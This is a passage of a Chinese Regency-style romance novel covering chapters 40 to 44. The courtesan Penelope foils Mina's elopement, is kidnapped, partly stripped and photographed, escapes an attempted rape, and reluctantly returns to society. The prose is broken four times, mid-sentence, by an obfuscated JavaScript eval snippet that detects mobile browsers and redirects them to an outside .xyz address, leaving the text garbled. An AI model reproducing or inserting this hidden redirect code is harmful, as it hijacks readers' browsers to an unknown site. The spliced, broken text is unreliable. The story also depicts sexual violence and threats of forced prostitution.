米娜看着她，犹豫了一会儿，终于开口道：“我已经与亚瑟约定好了私奔，去法国，他正准备要去法国旅行，但我如何去车站是个问题。我被看管得很严格，我今天是好不容易才偷溜过来，佩内洛普表亲，我们的家离得不远，不是么？如果我选择乘坐出租马车去车站，风险太大了。我希望你会愿意送我去车站，他们永远不会想到我在你的车上，他们以为我并不曾真正认识你，不然我一定会被发现的。” “你确定你的亚瑟真的爱你吗？”佩内洛普如此问，心中也开始感到不安。 米娜迅速道：“他当然爱我，就像朗斯通勋爵爱你一样，所以他一定会尽快娶我为妻。” 听到克里斯蒂安的头衔出现在米娜的口中，还是这样的话，佩内洛普愣了愣，也不禁心头一酸。 她强行将那酸涩按下去，又问：“你们已经约定好时间了，是吗？” 米娜点了点头，说出了那个时间。 佩内洛普道：“你明天可以过来，米内特，我会送你。” 闻言，米娜终于露出了一个珍贵的笑容。她上前一步，抱住了佩内洛普，轻轻道：“我就知道你会帮助我的，佩内洛普表亲，因为我们是同一种人，我第一次见到你就明白了。如果有的选，我真宁愿像你一样。” 佩内洛普只是拍了拍米娜的背，没有跟她这些天真的蠢话计较，她毕竟还是一个孩子。 当米娜快速离开后，佩内洛普立刻就开始了行动，她给好几位友人写了便条，询问关于“亚瑟·弗莱彻”这个名字的事情，并十分隐晦地提了提米娜的情形。 最终，她的这位朋友告诉她，他是个风流种子，她的那位朋友也与她分享趣事，说他有个未婚妻，而且据说，他与他的未婚妻之前已经在苏格兰用那种特别的方式结婚了，只是不为人所知，毕竟那实在有失身份。 佩内洛普毕竟是曾私奔去苏格兰过，她明白那虽然对上流社会来说不太体面，却是完全合法的。 所以，他不可能与米娜结婚，他只是想把米娜骗上去法国的船，然后米娜就没有回头路可走了。 * 第二天，米娜如约而至。 她穿着一身男仆的衣服，手里提着一个小皮箱，满脸期待。 佩内洛普直截了当地告诉了她真相。 可米娜显然没听说过这种结婚方式。 “什么叫宣告婚姻？”她疑惑地问。 “在苏格兰。”佩内洛普向她解释道，“一对男女只要在证人面前宣布结为了夫妇，那么他们就是合法的夫妻了。” 米娜摇头道：“不可能，他说他甚至没有恋爱过，他唯一想要娶的人是我，他爱我！只爱我！” 佩内洛普看着米娜的脸，忍不住想，这个女孩确实很像曾经的她，连这份对心上人的信任都一模一样，可是，人还是得学会分辨对方究竟值不值得如此信任。 “这是我的朋友亲笔写给我的。” “你的朋友？”米娜反问，带着一丝她可能自己都没有意识到的轻蔑。 好在她马上就反应了过来，连忙道歉道：“对不起，我明白你是在关心我，但他是很有魅力的男士，他可能得到一些不怀好意的中伤。” 佩内洛普叹了口气：“那我们就亲自问问他，好不好？” 米娜本想要继续表示自己一定会对心上人坚信不疑，但她看着佩内洛普的脸，咬了咬嘴唇，还是点头同意了。 她们一路向着车站而去。 当她们到达与亚瑟·弗莱彻接应的地方时，米娜兴奋得直接扑到了那个男人的怀抱里。 “米内特，我真怕你不来了。”他松了一口气道。 “就算让我像小美人鱼一样，脚下恍如踩着刀子，我也会来。”她说。 闻言，佩内洛普不禁轻轻咳了一声。 亚瑟·弗莱彻立刻道：“感谢你，佩内洛普女爵，米内特经常和我提起你，你果然如传闻一般美丽动人。” 佩内洛普直接替米娜问道：“我听说你已经结婚了，先生。” 果然，他的脸色出现了一瞬间的不自然：“这是谁在散布谣言？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15518333|167731||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “是谣言吗？那么，你究竟准备什么时候与米娜结婚呢？”佩内洛普问。 “我们一到法国就会结婚。” 佩内洛普点了点头：“那好，我会全程陪着她，直到你们结婚的那一刻。” 听到佩内洛普这么说，米娜惊喜道：“真的吗？那可真是太好了，我做梦都希望你能做我的伴娘。” 倒是亚瑟·弗莱彻的脸都黑了。 他慢慢道：“我想这可能太打扰你了，佩内洛普女爵，而且这必定会让你在社交界惹上非议。” 这番话说得简直跟真的关心她似的…… 佩内洛普道：“不，一点也不会打扰，而且我写信给了伊丽莎白·巴里小姐，她待会儿也想跟你谈谈这个问题，所以，请放心，一切还是未知数呢。” 亚瑟·弗莱彻冷冷地看了她一会儿，忽然道：“看起来你准备得很充分了？” 米娜看了看他，又看了看佩内洛普，道：“怎么了，亚瑟？难道你真的与巴里小姐结婚了？” 他只是拉着她的手不放道：“米内特，不管我结没结婚，我都是真的爱你，别理那个荡·妇了，我们一起去法国，永远也不回来了。” 说完，他就准备将米娜强行带走。 佩内洛普正要从手包里掏出小手枪，好让这个男人冷静下来，却只见眼前忽然一花，那个男人已经被米娜给一拳锤到了地上，爬都爬不起来。 佩内洛普愣住了，这个女孩，倒是掌握了非常专业的拳击技巧…… 然后，她看见那个女孩哭哭啼啼道：“原来这个混蛋真的是骗我的，我都这样了还要骗我，要是没你帮我的忙，我……我就成了他的情妇了……那样我这辈子都毁了……” 佩内洛普又看了看那满嘴冒血仍在呜咽的男人，摇了摇头，肯定道：“不，我认为你自己完全可以保护好自己。” 米娜诧异地看着她，不敢相信地问：“真的吗？我家里一直说我什么都办不到，没有依靠我马上就会活不下去。” 她一边说，一边忍不住又狠狠踢了那个正准备爬起来的男人一脚，然后，又开始委屈巴巴地掉起了眼泪。 佩内洛普道：“当然是真的，我从未见过哪位女士可以挥出那样的一拳。” 她们正说话间，找寻米娜的人显然已经赶到了车站附近。 佩内洛普道：“你现在必须回家去了。你放心，关于兰斯顿公爵的事，我一定会帮你想办法的。” 可是泣不成声的米娜绝不同意：“不，我的监护人不会让你有帮助我的机会的，他们会给我更为严格的看守，然后再用最快的速度得到一张特别许可证，我会在一周之内嫁给一个糟老头子，我不要，我不要！我宁愿一辈子跪地乞食，我宁愿立刻去死！” 说完，这可怜的女孩转头就跑。 凯西还想喊住米娜，让对方至少冷静一点，暂且和她离开，她们再商量。 可米娜果真是个身手矫健的女子，她很快就跑进了人群中，消失不见了。 佩内洛普在找了好一会儿未果之后，也只能坐上了自己的马车，靠在天鹅绒座椅上，闭上眼睛，为米娜发愁。 这个死丫头，怎么就这么任性呢，她当年不会也是这样吧？ 仔细想想，她当年好像确实差不多，只是她遇见的男人是马修…… 正思索间，突然，她感到附近传来了一声巨响，马车也剧烈摇晃起来。她被吓了一跳，她打开车窗向外张望。 “一切都好吗？”她询问马车夫。 “一切都很好，女爵，只是街上的一点小事故。”他声音沙哑地说。 “那我们回去吧。”她说着，又重新躺回了靠垫上。 41. Chapter 41 马车摇动的动作让佩内洛普一度昏昏欲睡——直到她突然惊醒，再次向外张望。透过窗户，她看到了树木的影子。 没有人群，没有房屋。 他们大概已经不在伦敦了！ 佩内洛普顿时感到一阵恐慌，她竟然被绑架了！可是绑架她有什么用呢？ 她用力拍打着门，喊道：“马上停下！给我往回走！” 马车越走越快，在崎岖不平的乡村道路上颠簸得非常厉害，她被甩出了座位。她尽可能大声地尖叫求救，并踢门，但显而易见，她被完全困住了。 一直到她的嗓子完全哑了，身上也没有了力气，她才总算消停了一会。 佩内洛普喘着气，靠在车厢的一侧，胸口剧烈起伏着。她努力让自己冷静下来，这不是她第一次身陷险境，也不会是最后一次。如果她惊慌失措，那才真的没有活路。 她正考虑着下一步行动时，马车突然慢了下来。 外面传来了一个男人的声音：“把她弄出来。” 佩内洛普的心猛地一跳，下一秒，车门被猛地拉开，一个熟悉的身影出现在她面前—— 乔治·圣-约翰。 佩内洛普努力冷冷看着这个男人，好掩饰住内心的惊惧：“圣-约翰先生，怎么忽然这么急着见我？” 圣-约翰微微一笑，眼神中透着狡诈：“佩内洛普女爵，我必须说，你的镇定让我刮目相看。大部分女人在这种情况下早就已经崩溃了。” 佩内洛普扬起了下巴，毫不示弱道：“你绑架我，是想要钱吗？我可没多少钱，也没有哪个男人在乎我到愿意为我付高昂赎金的地步。” 圣-约翰哈哈一笑：“哦，别这么说，我打赌，朗斯通可不这么想。” 佩内洛普的呼吸瞬间一滞。 克里斯蒂安…… 圣-约翰满意地看着她的表情变化，继续说道：“无论如何，他爱你。” “在我那样伤害他后？说来这还是你的手笔呢，圣-约翰先生。” 可圣-约翰并不理会她的说辞：“我看得出来，他无论如何都爱你。” 佩内洛普冷笑：“那你打算如何？把我关起来，然后再给他发一封勒索信？你以为他真的会轻易答应你的要求？依我看，你怎么不试着去绑架黑斯廷斯夫人？还可以要两份赎金，怎么，你怕黑斯廷斯勋爵会直接杀了你？” 圣-约翰耸耸肩，慢悠悠道：“你说得对，朗斯通可不是个容易妥协的人，毕竟他的秘密都没让他妥协，他甚至狠狠还击了，所以我才想出了这个新的办法，看他在不在乎他最爱的女人将会被卖到国外最低级的妓院里去没日没夜地接客。” 佩内洛普咬紧了牙关。她知道克里斯蒂安确实不是个会被轻易威胁的人，但如果他真的知道她被绑架了……她不敢肯定他会不会冒这个险过来救她。 他毕竟是个正派的男人。 圣-约翰他轻轻地拍了拍手，两名身强力壮的手下走了过来：“带她进去，好生‘照顾’我们的客人。” 佩内洛普被强行拉下马车，拖向一座破旧的房屋。她拼命挣扎，但两名壮汉的力气远超她，她根本无法挣脱。 她被粗暴地推入那座破旧的房屋，门口的阴影几乎吞噬了她所有的希望。她心跳加速，意识到自己绝不能够在这种情况下软弱下来。圣-约翰和他的手下们显然已经准备好了让她留在这里，她明白，这一切都是为了威胁克里斯蒂安，逼迫他妥协。 房屋的内部昏暗且破旧，墙上挂着几幅模糊的画，空气中弥漫着霉味和尘土。佩内洛普的双手被他们仔细扣在了背后，他们用冷酷的使人浑身发毛的眼神看着她，她尽量保持镇定。 “我们可并不想伤害你，佩内洛普。”圣-约翰的声音在她的耳边响起，他的语气轻佻，充满了挑衅，“但你知道，克里斯蒂安可从来不是一个容易对付的人。如果他不愿意支付赎金，那你就得陪我在这儿呆上一段时间了。” 佩内洛普强迫自己抬起了头，好可以尽量显得不那么软弱。 她知道，只有表现出不屈的态度来，才有可能争取到一丝生机。 “你不愿意伤害我，也已经做得足够过分了。”佩内洛普冷冷地开口道，“克里斯蒂安不会受你的威胁的，他并不在乎我，不会为了我给你钱。” 圣-约翰笑了笑：“你真认为他会不管你死活？你真以为他不会为你付钱？太天真了。但你可以放心，我不是那么坏的人，如果他付了钱，我一定会放你走的。我已经差不多破产了，我也猜得出来是谁在暗中搞鬼。我想他是蓄谋已久，就等这个机会毁了我，我现在一定要让他百倍奉还。” 佩内洛普没有回答他的话，只是低下了头，默默想着克里斯蒂安的面容。 “我得从你身上拿点什么，好威胁他，你说我应该拿什么好呢？拿走你的一根手指怎么样。” 在看到佩内洛普瑟缩了一下后，圣-约翰笑了：“还是不了，你有一双美丽的手，而且我还听说你是一位钢琴家，我可还没听过你弹钢琴呢。” 佩内洛普深深吸了一口气，抬起头，目光坚定地看向圣-约翰：“他是个正直的人，而你却是一个绝对的小人，你的所作所为终究会受到惩罚。” 圣-约翰的脸色一沉，他没有回应她，只是挥了挥手，让两名手下把佩内洛普关进房间里。 她被推入一间破败的房间，木质的床架上覆盖着旧布，空气沉闷，光线昏暗。她四下打量，心中不禁升起一股不安。这座房子让她感觉非常不安，仿佛处于无助和绝望的深渊中。 她知道，克里斯蒂安如果不出面，她将很难逃脱这个困境。 两名男子走出了房间，关上了门。佩内洛普坐在床边，努力让自己冷静下来。她深知，只有保持冷静，才有机会脱身。 “必须冷静。”佩内洛普低声自语，她感到一阵空虚和无助，但她不能再让自己堕入恐惧的漩涡。 也不知道等待了多久，房门再次被推开，圣-约翰带着手下再次走了进来，他们的手中还搬着一台相机。 “你看，你已经处于无路可退的境地了，佩内洛普。我得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15525200|167731||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让你感受到什么叫绝望，这样他才会乖乖支付赎金，并保证什么都不会泄露出去。” 佩内洛普默默低下头，尽量避免与他的目光接触。她知道，圣-约翰不会轻易放过她，但她也知道，自己不能在这个时候屈服。 随着圣-约翰一声令下，两名男子再次向她走去，他们不顾她的激烈反抗，直接撕开了她的外衣，露出她精美的紧身胸衣，然后，他们又扯下她的衬裙，解开了她紧身胸衣上的系带…… 佩内洛普这辈子都没有受过此等奇耻大辱，她出身高贵，即便多年来靠依附男人为生，也总是体体面面的。 想到这里，她不禁落下泪来。 圣-约翰看着美丽的女人衣衫凌乱却还在徒劳地挣扎的样子，看得口干舌燥的同时，也不禁生出几分占有欲来。 她名义上到底是他的情妇，可他都还没好好享用过她呢，怎么可以让这些粗笨的家伙随便触碰她。 于是，他使唤他们别再那继续借机占她便宜，只是按好她，然后，又亲自为她拍下了一张只着被撕裂的无袖宽内衣的狼狈照片。 目的达成，他便向着她走了过去。 佩内洛普毕竟早已看惯风月，自然明白他此刻究竟揣着什么心思，她索性不管自己衣衫不整，拔腿就向着门口冲去，而他直接抓住了她。 “松开，混蛋，我宁愿接待一个最肮脏的乞丐，也绝不会让你碰我一下。” 圣-约翰咒骂着，举起手就狠狠地打了她一巴掌，打得她的头向后仰去。 “该死的你和朗斯通！你以后会有接待乞丐的时候的，但现在，如果你以为随便的几句话就想要阻挠我，你就错了，你越是骂我，我就越是有兴致。朗斯通让我的女人跟野男人跑了，就得付出代价，他的女人虽然老一点，但也还不到让人下不了口的地步。” 他抓住她的胳膊，把她拉向了床。 “你给我过来。” 佩内洛普寸步不让：“你尽管放心，我是一定会和你斗争到底的。” “我比你更强壮。如果你拒绝迁就我，我可以直接打死你。” “我更宁愿你直接打死我。” 可他目前当然还不想直接打死她，绑架是一回事，杀人就是另一回事了。 他拉着她的胳膊试图让她服从，她索性用另一只手打他，用脚踢他的腹股沟。令她惊讶的是，她击中了目标。她的成功促使她再次踢他。 圣-约翰咆哮着，用一只手保护他的身下，同时用另一只手抓住她。 他的脸因疼痛而变得苍白。“野猫！你让我丢脸了。你会为此付出代价的。” 他朝佩内洛普猛地一推，一瘸一拐地走出了房间，她重重地摔倒了。 “可是现在付出代价的人是你！”她不服输地在他的身后大喊。 门在她面前砰地一声关上了，把她留在一片狼藉之中，她听到钥匙在锁眼里转动的声音。 “你逃不掉的。”圣-约翰在门外喊道，“等我恢复过来，我就会把你绑起来，到时我们再看看你有多勇敢。” 42. Chapter 42 克里斯蒂安坐在书房，窗外的阳光透过窗帘洒在地板上，他的眉头紧蹙，目光盯着桌上的盒子。 尽管上面什么也没有写明，送来的男孩也一问三不知，但毫无疑问的是，这是圣-约翰寄来的。 他犹豫再三，还是打开了盒子，里面是一张照片，照片上是佩内洛普——她看起来极为狼狈，半裸的身体蜷缩在一张破旧的床上。她的眼中满是痛苦，脸上的表情几乎无法形容。 他无法理解，这真的是她吗？他不敢相信这会是佩内洛普，那个优雅、聪明、美丽的女人，那个曾经和他一起共享过温暖的怀抱的女人，竟然会被弄成这种可怕的模样拍下照片。 这种照片一旦被泄露出去，她将在整个社交界没有一丝活路。 不，她在全世界都没有活路。 克里斯蒂安的呼吸突然急促，愤怒和恐惧交织在一起，他的手不自觉地紧握住了照片的边缘，指尖发白。心中一阵剧痛，仿佛全世界都在崩塌。 他的理智告诉他，圣-约翰绝对不会这么轻松地就赢得这场战斗的。这个人渣所做的一切，都是为了让他妥协，换取钱财——但他不会轻易屈服于这样的威胁里。 然而，他深吸一口气，目光却还是紧盯着照片上的佩内洛普。 他知道，她不可能会自己选择去冒险参与这一切，她很有可能是真的遭到了逼迫。 可是，他曾经不也是完全相信她绝不会背叛他么。 他思虑再三，突然站起身，他用力过猛，将椅子都撞到了墙上，发出沉闷的声音。 他得救她。 无论圣-约翰怎么打算的，他都不准备让佩内洛普有任何遭到不幸的可能，因为她不该成为这种阴谋的牺牲品。 “你还不至于得到这种结果。”克里斯蒂安低声说道，像是在找一个借口。 他的脑海里飞速转动，思考着自己究竟如何应对这个局面。 钱？圣-约翰需要的赎金他能付得起，但它真的可以满足圣-约翰的贪婪吗？圣-约翰要的，从来不只是金钱，而是权力和对他以及其他人的控制。 所以，他不打算像圣-约翰期望的那样火急火燎过去给钱。金钱或许确实能暂时解决一部分问题，但这并不意味着他要让圣-约翰得逞。 “我会把你带回来的。”克里斯蒂安自言自语，声音低沉而且充满决心。 他将照片扔进壁炉，转身走向了保险箱，从里面取出了许多最新得到的有关圣-约翰的东西，他本来还准备好好地筹谋一番，争取一举就让圣-约翰身败名裂，但现在，他只能在马车上慢慢思考究竟应该怎么安排这一切了。 他拿起了资料，不再犹豫，立即命令助手准备马车，前往苏格兰场，寻求警方的帮助。 一路上，克里斯蒂安心中感到前所未有的沉重。那张照片，佩内洛普孤苦无依的模样，始终在他脑海中挥之不去。他无法想象她在那样的环境中经历的痛苦，不能想象她在背后默默流泪的模样。 他只能告诉自己，永远也不要再怜惜她了。这是他最后一次管她的事情，之后，他们就两清了。 他的马车快速驶过伦敦街道，穿过人群、绕过拐角，似乎一切都变得模糊不清。 他的思绪早已不再被眼前的风景所干扰，他的心中不断回想着佩内洛普的模样——即便他努力让自己别去想。 照片中的她，受尽了羞辱与折磨。那曾经高傲、美丽的女人，竟然会沦落到这种地步。 他无法原谅圣-约翰，不仅是因为这个男人胆敢威胁他，更因为他对佩内洛普做的事——他无法容忍一位男士不懂得尊重女士。每一分每一秒，他都在想着怎样让圣-约翰付出代价。 马车驶入苏格兰场，当它停了下来，克里斯蒂安急促地下了车，面色冷峻地走进了伦敦警局。 * 佩内洛普知道月亮已经升起来了，因为月光透过百叶窗的缝隙照了进来。她很久没有听到圣-约翰的消息了，她希望她已经对他造成了永久性伤害。 可当她听到小屋的主屋终于有了动静时，她的希望又破灭了。 她在在黑暗中跌跌撞撞，徒劳地想要寻找武器。可事实上她太清楚了，没有水罐，没有碗，没有任何可以用来造成伤害的东西。她只能依靠自己所谓的智慧。她越来越担心地看着门。圣-约翰是个非常强壮的男人。他不需要花太多力气就能制服她。 暴露她脆弱的状态并没有阻止他，也没有削弱他侵犯她的热情。这个厚颜无耻的家伙一心想要报复克里斯蒂安。有没有办法让她再次伤害他呢？不幸的是，他现在会对她的伎俩更加警惕，不太可能屈服于她。 佩内洛普听到钥匙在锁里转动，门把手嘎吱作响，她做好了准备。她疯狂地扫视着房间的一个个黑暗角落，寻找着不存在的帮助。 一种自我保护的意识让佩内洛普贴着门后的墙。门开了， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15531548|167731||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 微弱的灯光洒了进来。圣-约翰走进了房间，胳膊上缠着一卷绳子。 “你在哪里？”圣-约翰在黑暗中眨了眨眼睛，大声喊道。 他走进房间，继续道：“别天真地以为你能躲我。这次我要把你绑在床上，花一整晚的时间享受朗斯通曾经享受过的，好看看他到底为什么就那么迷恋一个年华不再的老女人。” 他背对着她。佩内洛普知道，如果她犹豫了，就会前功尽弃。屏住呼吸，她绕过敞开的门，逃出了房间。她的第一反应是逃进夜色中。但这个想法刚一出现，另一个想法就紧随其后。她转过身，砰地一声关上门，把钥匙插进锁里，把圣-约翰关在了里面。 不！婊.子！愚蠢的婊.子。”圣-约翰大叫着，并开始捶门，“我会毁了你！” 他的两个帮手听见了声音。 佩内洛普趁着天色很黑赶紧逃走了。 她不知道自己在哪里，也不知道该往哪个方向跑，但她知道，她必须尽可能地远离小屋。 佩内洛普沿着小路跑，跑到大路时又停了下来。她左右看了看，想决定往哪边走。这时，她听到一阵马蹄声向她奔来，不知道是该逃跑还是等马车和骑手过来求救。圣-约翰可能已经被救出来了，正在带着人向她逼近。 她的直觉告诉她，还是等待来者并寻求帮助。 毕竟在这个世界上，没有什么比再次落入圣-约翰的手中更糟糕的了。 当骑手走近时，佩内洛普在路旁的阴影中徘徊。当马匹接近通往小屋的小路时，它放慢了脚步。她从阴影中走出来，挥舞着双臂。 克里斯蒂安拉紧缰绳，他所骑的马受惊扬起前蹄，克里斯蒂安控制住它，从马背上跳了下来。 佩内洛普…… 他无声地念着这个名字，十分惊讶地走向了她，并赶忙脱下外套为衣服被撕破的她仔细披上，以免她会在他人面前有失体面。 他无论如何也没想到，他放弃向圣-约翰屈服，而是在与苏格兰场交涉后，选择心惊胆战地亲自过来找她，并早已经做好了将被圣-约翰威胁的准备，结果，她自己就把自己给救了出来。 亏他为了找到这里还费了不少功夫…… “克里斯蒂安……”劫后余生的她看到他竟然还会亲自过来找她，眼眶一红，本能地想要拥抱他，但他十分冷漠地避开，示意她上马，他带她离开。 之后不久，伦敦警方便匆匆赶来了。 43. Chapter 43 佩内洛普向警方提供了一份完整的口供，只是个中虚虚实实，只有她自己才能知道。她对许多东西都选择了沉默。因为她知道，不管她如何解释，所有人都会有自己的看法，最终都无法逃脱她心中的那份痛。 在一切进行的过程中，她听到外面吵吵嚷嚷，显然是有消息灵通的记者已经赶到了。 毕竟一位破产的上流社会子弟，绑架了一位著名的交际花，而正处于风口浪尖的克里斯蒂安也被牵扯其中，他们可都等着报道这个世纪大新闻呢。 克里斯蒂安始终将她保护得很好，相机相片也通通在警方的见证下被他亲自销毁，可他也始终没有和她说一句话，他对待她就像是对待一个陌生女人，她可以理解，却依旧几乎心碎。 之后，这件事情闹得沸沸扬扬，于是佩内洛普几乎连门都不愿意出了，报纸也是再也没看过，一方面是她经历了绑架，确实心力交瘁，另一方面，她不想被其他人指指点点。 哪怕，她这辈子都活在他人的指指点点中。 只可惜，她有心远离一切，她的朋友莎拉却决不允许。 当莎拉走到佩内洛普的起居室时，所看到的就是她懒洋洋地躺在沙发上吃着冰淇淋的场景。 莎拉忍不住叫出了声：“天呐，佩妮，你现在这是个什么样子，你简直像个邋遢婆，还有，你不喜欢吃甜食的！” 佩内洛普看了看莎拉，不以为意地说道：“我喜欢吃。” 她语气淡然，却透露着几分无奈，仿佛这一刻，连自己都开始变得陌生。 在这个世界上，唯一知道她这个喜好的人，她的克里斯蒂安，早已远去，留下她一人独自面对所有的伤痛。 莎拉直接坐到了她身边，从手提包里拿出了一份报纸，故作轻松地说道：“我不知道你是否看到了这个。” 佩内洛普转过了头，将目光落在了莎拉所指的一条特别的新闻上—— “昨夜舞会上，L勋爵与A女爵共舞，二人举止亲密，显然关系匪浅……” 佩内洛普微微皱眉：“A女爵是？” 她在家里待了太久，脑子已经开始退化，实在有些对不上号。 “安娜贝尔·灵伍德女爵，十七岁，今年的社交新秀，非常出众，只是之前一直被更出众的威尔莫特小姐压着，现在威尔莫特小姐不见了，她就备受瞩目了。” 米娜，一想到这个名字，佩内洛普心上的一根痛苦琴弦便被拨动了。 “我看到他们一起跳了两支舞，还交谈甚欢。”莎拉继续道。 佩内洛普的手指轻轻收紧，胸口不禁涌起莫名的酸涩。她以为自己已经做好了放手的准备，可听到克里斯蒂安真的可能喜欢上别人，还是让她的心狠狠一痛。 她抬起手，轻轻按了按额角，掩盖住眼底的情绪。 “克里斯蒂安有自己的生活。”她语气淡然，“而安娜贝尔女爵我也有印象，她确实出身高贵，年轻美丽。” “他遇见你后从来不跟其他人跳舞。”莎拉不满地嘀咕道，“安娜贝尔女爵显然对他志在必得。就算瞎子都看得出来，她一直对他心怀好感，当然了，许多女士都曾经对他心怀好感，只是之前他还与你在一起，大家就都没有展开任何行动。到了现在，他那方面的秘密被泄露出来，安娜贝尔女爵的真心却依然不变，这显然打动了他。而且最重要的是，以她的身份地位，也让他终于可以不再是上流社会的笑话，他重新赢得了呼吸的权利。” “我想，无论有没有这样的一个女孩，他的坦荡都会为他赢得尊重。”佩内洛普道，“而且，他曾经还与威尔莫特小姐跳过舞，我想你也看到新闻了。” “那不能算。”莎拉无所谓道，“你我都知道威尔莫特夫人那家伙有多难缠，难怪威尔莫特小姐会选择离开家庭。这女孩很可爱，我真想知道她在哪，她勇敢的样子简直就像当年的我。” 这个牧师的女儿说完就微笑了起来，显然又想起了自己十六岁就跟着马戏团里的飞刀手逃跑了的事。 佩内洛普同样很想知道米娜去了哪，但她明白，米娜一定可以在外面过得不错的。因为这个女孩才十九岁，十九岁的人生有一切可能。就像她，不也是在十九岁时毅然成为了交际花？ 她从来没有为了这个决定后悔过，即便她必须仰着脸，忍受各种各样的男人在她身上做那桩他们最喜欢的事，还得配合着发出一些恰当的声音，但至少，她早已挣到了足够悠闲度过余生的钱，还在职业生涯末期遇见了克里斯蒂安，她一生中最后的爱情。 莎拉将报纸折好，拍了拍佩内洛普的手背，目光意味深长。 “你不会真就这么放弃吧？”她问道。 佩内洛普垂眸，指尖无意识地在丝绸长裙上摩挲着，语气却带着淡淡的无所谓：“有什么可放弃的？我以为我早就跟你说明白了，别想说你忘了，不然我就让你丈夫好好提醒你。” 莎拉挑了挑眉，却仍是不甘：“佩妮，你真打算让克里斯被那小女孩抢走？她只有十七岁，刚亮相不久，整个人还天真得像个奶娃娃，你难道不觉得恶心吗？” 佩内洛普轻轻一笑，带着些许无奈：“别这么刻薄了，莎拉，十七岁明明是这个世界上最美妙的年龄。” “美妙，但还不适合结婚，我一直以为女人最好满二十 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15545960|167731||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一岁成年了再考虑婚姻。” 莎拉一边说一边睨了她一眼，忽然叹了口气：“我也不想反复跟你说这些，但你必须明白，如果你是真心觉得无所谓，那就算了。但如果你心里还在乎他，就别让他误以为你对他已经毫无感觉，不然你一定会后悔的。他爱你，我看得出来，他真的非常爱你，所以他才会单枪匹马去救你，之后也竭尽所能地保护你，让你不受打扰。你应该清楚，即便到了现在，只要你愿意对他勾勾手指，他也会像只被抛弃的小狗的一样立刻回到你的身边。” 佩内洛普微微一怔，抬眸看向她，沉默了许久。 她的思绪逐渐沉重起来，曾经的她，活跃在社交圈，足够自信，足够魅力四射，所以她可以勇敢地面对一切，可现在，她深知自己已经不再那么年轻貌美了，而克里斯蒂安的未来依然光明，他可以拥有比她更好的人。 她不该为了一己私心，与他继续纠缠下去了，她该离开他的生活，让他忘记她了。 至于她，往后余生，她会依靠着回忆的碎片度日的，各种各样的碎片，即便那通通都只是幻影，一触即灭。 莎拉显然看出了她的想法，不禁扬起了下巴，语气坚定道：“明天晚上沃尔森夫人的舞会，你必须去。” 佩内洛普张了张嘴，正准备要拒绝，莎拉立刻抬手阻止：“别跟我说你不想出门了，不要忘了，你可是佩内洛普·考德威尔，伦敦最著名的交际花。什么时候还轮到你这样的人躲在家里吃冰淇淋度日了？” 佩内洛普道：“曾经最著名的交际花，别忘了这个前缀。” “现在也依旧是。”莎拉坚持道。 “况且……”莎拉缓缓靠近，眸光狡黠，“克里斯蒂安也会去的。” 佩内洛普的心微微一紧，但她依旧强作镇定：“那又如何？我真的不准备与他有什么牵扯了。” “如何？”莎拉轻笑，“佩妮，你不想与他牵扯就不想与他牵扯吧，我也懒得在这劝你了。只是，你一直不露面，外面风言风语可不少，我们不能让他一个人风光，你也得告诉全世界，你没有他照样很不错。” 这个激将法对她而言毫无意义，克里斯蒂安不是带着情妇奚落她的莱顿，而她也依然深深地爱着他。 莎拉轻轻握住她的手，语气柔和了几分：“这是我的真实想法，你还爱他，就挽回他，你如果一定要放弃他，那也不要躲在家里，像个可怜虫。我爱你，佩妮，就像爱自己的亲姊妹，别让我担心下去了。” 佩内洛普沉默了许久，最终还是叹了口气：“我应该穿哪件礼服呢？” 莎拉立即笑了起来：“这才对嘛！” 44. Chapter 44 翌日晚间，沃尔森夫人的舞会盛大而华丽，整个会场都沉浸在流光溢彩的灯光与香槟的微醺气息中。 佩内洛普一袭酒红色长裙，勾勒出她玲珑有致的身形，她的举手投足间，依旧风华无双。 她刚走进会场，便听见了窃窃私语。 “哦，她终于肯露面了。” “我还以为她会彻底隐退呢，她毕竟到年纪了，不是么？” 